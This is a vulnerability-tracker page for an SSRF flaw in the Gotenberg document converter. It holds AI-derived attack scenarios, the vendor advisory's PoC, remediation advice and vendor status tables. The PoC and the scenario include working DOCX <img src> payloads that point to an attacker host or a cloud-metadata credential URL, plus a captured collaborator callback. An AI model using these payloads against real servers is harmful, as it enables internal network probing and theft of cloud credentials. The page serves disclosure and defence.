EUVD-2026-43029
GHSA-2mrg-35hw-x3x9
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessIdentify exposed Gotenberg /forms/libreoffice/convert endpoint
-
DeliveryCraft DOCX with attacker-controlled <img src> URL or local path
-
ExploitUpload document via HTTP POST
-
ExecutionLibreOffice fetches referenced resource during conversion
-
PersistObserve out-of-band callback or embedded local image
-
ImpactPivot to internal services or exfiltrate metadata credentials
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Credential Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Gotenberg must be deployed with the /forms/libreoffice/convert endpoint reachable by the attacker and running the default configuration on a vulnerable version (≤ v8.33.0); no authentication, user interaction, or non-default settings are required because the LibreOffice conversion pipeline is enabled out of the box. Limiting factors: the SSRF is blind (no response body returned), the local-file read primitive only works for content LibreOffice can decode as an image and embed in the output, and many deployments front Gotenberg with an internal-only network or reverse proxy that limits who can submit conversion jobs. |
| Impact | The CVSS 3.1 vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5 High) accurately reflects unauthenticated network-reachable exploitation with confidentiality impact only, matching the blind SSRF and local image-disclosure primitives described. No EPSS score or CISA KEV status is provided, and there is no indication of active in-the-wild exploitation, so this should be treated as a credible but currently non-prioritized risk relative to KEV-listed bugs. Real-world severity depends heavily on deployment: Gotenberg is typically reachable only from trusted internal services, but when it sits on a cloud instance with access to metadata endpoints (e.g., 169.254.169.254) or to internal admin APIs, the blind SSRF can be leveraged to pivot, while the image-only disclosure primitive limits arbitrary file read to formats LibreOffice will render as images. The C:H rating is somewhat aggressive for a blind SSRF with image-only file read, but the metadata-credential pivot scenario justifies treating confidentiality impact as high. |
| Exploit ScenarioDerived | An attacker with network reach to the Gotenberg API uploads a DOCX containing <img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"> (or an internal admin URL) to /forms/libreoffice/convert; LibreOffice issues the request from inside the trust boundary, enabling internal port scanning, interaction with metadata services, and out-of-band data exfiltration via attacker-controlled DNS/HTTP collaborators. Publicly available exploit code exists in the GHSA advisory PoC, lowering the bar to weaponization. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 18, 2026
Server-side request forgery in Gotenberg v8.33.0 and earlier allows remote unauthenticated attackers to coerce the server into making arbitrary outbound HTTP(S) requests and to disclose local image files by uploading a crafted DOCX to the /forms/libreoffice/convert endpoint. The flaw stems from LibreOffice automatically resolving external and local resources referenced in <img> tags during conversion, exposing internal networks and on-disk image files. Publicly available exploit code exists via the vendor's GHSA-2mrg-35hw-x3x9 advisory, though no CISA KEV listing or EPSS data is available at time of analysis.
RemediationAI
Vendor-released patch: Gotenberg 8.34.0 - upgrade per advisory GHSA-2mrg-35hw-x3x9 (https://github.com/gotenberg/gotenberg/security/advisories/GHSA-2mrg-35hw-x3x9). Where immediate upgrade is not possible, restrict network access so the Gotenberg container cannot reach internal management ranges, cloud metadata endpoints (e.g., 169.254.169.254), or other sensitive internal services by enforcing an egress allow-list at the network or service-mesh layer; this preserves outbound DNS and HTTPS needed for normal operation but eliminates the SSRF pivot. Also place authentication or a network ACL in front of the /forms/libreoffice/convert endpoint so only trusted services can submit documents, and consider running Gotenberg in a stripped container image so the LibreOffice process has minimal sensitive image files (keys, dashboards, configuration assets) on disk for it to embed. These controls reduce blast radius but do not address the underlying LibreOffice resource-fetch behavior, which only the upgrade fixes.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 3 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Gotenberg is a Go-based stateless API (pkg:go/github.com_gotenberg_gotenberg_v8) that wraps headless converters such as Chromium and LibreOffice to render PDFs and other office formats. The vulnerable code path is the /forms/libreoffice/convert route, which hands uploaded documents to LibreOffice (per the PoC, version 26.2.3.2 with OpenSSL/3.5.6) for conversion. LibreOffice's HTML/DOCX rendering engine treats <img src=...> values as live references and will fetch them from the network or local filesystem, which is the classic CWE-918 (Server-Side Request Forgery) pattern: the server acts on a URL fully controlled by untrusted input without egress filtering or scheme/host validation. Because Gotenberg ships with no SSRF protection in its default configuration, this LibreOffice behavior is directly exposed to any HTTP client of the conversion API.
Know when OpenSSL gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Network-reachable default endpoint, no auth or UI, but blind SSRF with image-only local read yields limited confidentiality impact, so C:L rather than C:H.
Primary rating from Vendor (https://github.com/gotenberg/gotenberg).
CVSS VectorVendor: https://github.com/gotenberg/gotenberg
DescriptionCVE.org
Summary
Server-Side Request Forgery (SSRF) vulnerability affecting the /forms/libreoffice/convert endpoint in Gotenberg v8.33.0 running with the default configuration.
By uploading a specially crafted DOCX document, an attacker can cause LibreOffice to automatically retrieve external resources during document conversion. As a result, outbound requests are made from the server hosting Gotenberg to attacker-controlled destinations.
Additionally, the same document mechanism appears capable of referencing image resources from the local filesystem. During conversion, LibreOffice attempts to load those resources and embed them into the resulting document.
PoC
External Resource Retrieval
Create a DOCX document containing the following content:
<img src="http://[ATTACKER_HOST]:[PORT]/path?query=somedata">
Upload the document to the /forms/libreoffice/convert endpoint.
During document processing, LibreOffice automatically retrieves the referenced external resource.
An outbound request can be observed on Burp Collaborator:
GET /secretendpoint?query=hacked HTTP/1.1
Host: gotenbergssrf.3cguefu7x55rg8z13mzu08i45vbmzcn1.oastify.com
User-Agent: LibreOffice 26.2.3.2 denylistedbackend/8.20.0 OpenSSL/3.5.6
Accept: */*
Accept-Encoding: deflate, gzip, br, zstdLocal Resource Retrieval
Create a DOCX document containing the following content:
<img src="/path/to/image.png">
Upload the document to the /forms/libreoffice/convert endpoint.
During document conversion, LibreOffice loads the referenced image from the local filesystem and embeds it into the generated output document.
Result in output document (used payload - <img src="/usr/share/pixmaps/debian-logo.png">):
<img width="1346" height="397" alt="result" src="https://github.com/user-attachments/assets/52e18316-6654-4341-82e8-14df6c1d7d5e" />
Impact
The identified vulnerability enables two primary attack vectors:
Blind SSRF: The conversion service allows arbitrary outbound HTTP(S) requests during document processing. Although response bodies are not returned to the user, this can be leveraged for internal network discovery and interaction with services accessible only from the internal network or relying on network-level trust assumptions.
Local File Disclosure via Image Resource Loading: The conversion engine allows local filesystem resources to be accessed during document rendering when referenced as image sources in the uploaded document. By specifying local file paths in image tags, LibreOffice resolves and embeds the referenced image content into the generated output document. This behavior is limited to resources loadable as images during document conversion, rather than general file read primitives, but may still allow retrieval of sensitive files accessible to the LibreOffice process.
Notes
The issue was reproduced on Gotenberg v8.33.0 under the default configuration.
Given the impact of arbitrary outbound HTTP(S) requests (SSRF) and limited local filesystem resource disclosure via image resource loading during document conversion, this issue may warrant a CVE assignment.
Executive ViewAI
Gotenberg document conversion service (versions 8.33.0 and earlier) can be remotely exploited without authentication to access internal files and network resources, exposing confidential data and enabling potential lateral movement into internal infrastructure. Any organization processing documents through Gotenberg faces immediate risk of data breach and internal system compromise, with publicly available exploit code requiring urgent remediation.
Until vendor patch available: (1) Implement strict network segmentation to block outbound connections from Gotenberg servers except to explicitly whitelisted destinations; (2) Require authentication via reverse proxy before allowing access to /forms/libreoffice/convert endpoint; (3) Accept only digitally signed documents from verified sources, reducing upload surface; (4) Disable Gotenberg service entirely if not operationally critical; (5) Maintain comprehensive audit and network logs to detect exploitation attempts; (6) Begin evaluation of alternative document conversion solutions with stronger security records.
Threat Intelligence Overview
NVD
CVE.org
EPSS
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe
In order to decrypt SM2 encrypted data an application is expected to call the API function EVP_PKEY_decrypt(). Rated cri
The dtls1_reassemble_fragment function in d1_both.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and other products, requires a server to se
The ssl3_get_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8zd, 1.0.0 before 1.0.0p, and 1.0.1 before 1.0.1k
In addition to the c_rehash shell command injection identified in CVE-2022-1292, further circumstances where the c_rehas
The TLS protocol 1.2 and earlier, when a DHE_EXPORT ciphersuite is enabled on a server but not on a client, does not pro
The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other products, uses nondeterministic CBC padding, which mak
The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a
The X509_verify_cert function in crypto/x509/x509_vfy.c in OpenSSL 1.0.1n, 1.0.1o, 1.0.2b, and 1.0.2c does not properly
A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Rated hig
Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
Exploit-DB